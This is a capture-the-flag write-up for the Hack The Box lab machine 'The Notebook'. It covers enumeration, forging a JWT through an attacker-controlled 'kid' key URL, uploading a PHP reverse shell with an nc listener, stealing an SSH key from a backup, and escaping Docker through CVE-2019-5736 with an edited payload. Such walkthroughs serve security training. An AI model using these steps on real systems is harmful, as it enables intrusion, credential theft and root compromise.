# Port Scanning and General Enumeration (Nmap, FFuF)
### Nmap Scans
All ports
```
nmap -p- -oN nmap/allports -T4 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.053s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10010/tcp filtered rxapi
```
Standard aside from `10010`, what's that?
Targeting the open ports
```
nmap -p22,80,10010 -oN nmap/targeted -T4 -sC -sV 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Sever on port 80 is running **nginx/1.14.0**, let's browse it and see what we're up against
After registering an account and checking out the requests in **BurpSuite** we can see that it sets two cookies:
```
uuid
auth
```
And the `auth` cookie is a **JWT** with a "kid" *(Key ID)* header that points to a port on the localhost that we can't access
Running a quick **FFuF** using the [common wordlist from Seclists](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt) matching all and filtering 404s doesn't reveal much. There's an `/admin` endpoint but that's about it
```
admin [Status: 403, Size: 9, Words: 1, Lines: 1]
login [Status: 200, Size: 1250, Words: 173, Lines: 31]
logout [Status: 302, Size: 209, Words: 22, Lines: 4]
register [Status: 200, Size: 1422, Words: 193, Lines: 33]
```
---
# Access (JWT, PHP Reverse Shell)
Really the only interesting thing we have is this **JWT** *(JSON Web Token)*. There's a **BurpSuite** addon for dealing with these called, well.. **JSON Web Tokens**
> BurpSuite addons can be found under **Extender** --> **BApp Store**
Now that we're set up to handle these tokens, we can capture the request in **BurpSuite**, send it to the **Repeater** tab and start taking a look and messing with the values of this **JWT**.
So we can see that it's a **JWT** that's been signed with the **RS256** algorithm and it has the optional **kid** *(Key ID)* field. The **kid** is basically saying 'Hey, this is the key that's being used to verify this signature.' Which in the case of the **RS256** algorithm, it's pointing to the *public* key used to verify the signature.
There's a lot to talk about when it comes to the different algorithms used for encryption, but the important thing to know is that **RSA256** is asymmetric and requires a **private** key to sign the token and a **public** key to verify it.
Let's start testing this **kid** value. What happens if we point it to a server that we control?
That's *not* good for the server, but *great* for us. That means we can create a brand new key pair to sign and verify tokens and the server will treat them as valid! Let's do that.
First, let's generate a new key pair
```
openssl genrsa -out mykey.pem 4096
openssl rsa -in mykey.pem -pubout -out pubkey.pem
```
Next, let's forge a new token using [jwt.io]()
1. Change the 'admin_cap' field from 0 to 1
2. Point the 'kid' field to your **public** key on your server
3. Copy the contents of your **private** key into the box that's labeld **Private Key**
Now let's send it off, this time, point the request at the `/admin` endpoint. If you get a **200** response, then you did it correct and you can take your new **JWT** and plunk it into the cookie **auth** field of your browser.
So now we have access to the **Admin Panel**
## Interesting Notes
**Need to fix config**
```
Have to fix this issue where PHP files are being executed :/. This can be a potential security issue for the server.
```
**Backups are scheduled**
```
Finally! Regular backups are necessary. Thank god it's all easy on server.
```
Backups? Let's keep an eye out for any potential backup files
## Upload
Surprisingly, I tried uploading the `php-reverse-shell` from pentestmonkey and it worked first time. No fuzzing required! Running a listener with `nc -lvnp 4444` and clicking 'view' gets us a hit
---
# Privesc (Docker, CVE-2019-5736)
We're only `www-data` so let's stabilize the shell a bit
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo && fg
enter, enter
export TERM=xterm
```
Now we can do some enumeration with a decent enough shell.
Just taking a look around the file system I bumped into a **backups** directory located at `/var/backups`. Inside is `home.tar.gz`. Copy it to the `/tmp` directory and unzip it. with `tar -xzf` Unzipping it reveals:
Noah's home directory! Transfer his **SSH key** *(id_rsa)* over to your box, give it the right permissions *(chmod 600 id_rsa)* and use it to ssh in!
Now that we're **Noah**, let's see what we can do
```
sudo -l
Matching Defaults entries for noah on thenotebook:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
```
So we can execute a **Docker Container** called **webapp-dev01** in **interactive** mode *(-it)* with one argument following it *(\*)* as root. Neat!
Doing research I stumbled upon [CVE-2019-5736](https://github.com/Frichetten/CVE-2019-5736-PoC) a really neat exploit that will grant privileged command execution on the host from within the container.
Grab the `main.go` file off **github** and edit the payload to whatever you want to do. You could get a shell, copy the contents of the shadow file and crack the password. Up to you! I just had it cat the contents of the flag
```
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /root/root.txt > /home/noah/root.txt"
```
compile the program with `go build main.go`
Now that the exploit is ready, let's prep the machine.
First, start up the container
```
sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
```
Next, ssh back in as **Noah** in another tab/split/pane and type **(but don't send)**
```
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
```
Now, if you're expecting a shell, fire up a listener in another tab/split/pane `nc -lvnp 4444`, otherwise transfer the `main` binary from your machine to the docker container using `wget` and `python3 -m http.server`
Make it executable `chmod +x main` and run it `./main`. Once you see this
Run the command in your other pane/tab/window. You should see this in the container pane
And if you followed my directions, you'll see the root flag sitting in **Noah's** home directory
---
Back to [[HackTheBox Index]]
Tags: #htb #hackthebox #box_writeups #jwt #json_web_tokens #docker #cve-2019-5736 #enumeration
Related: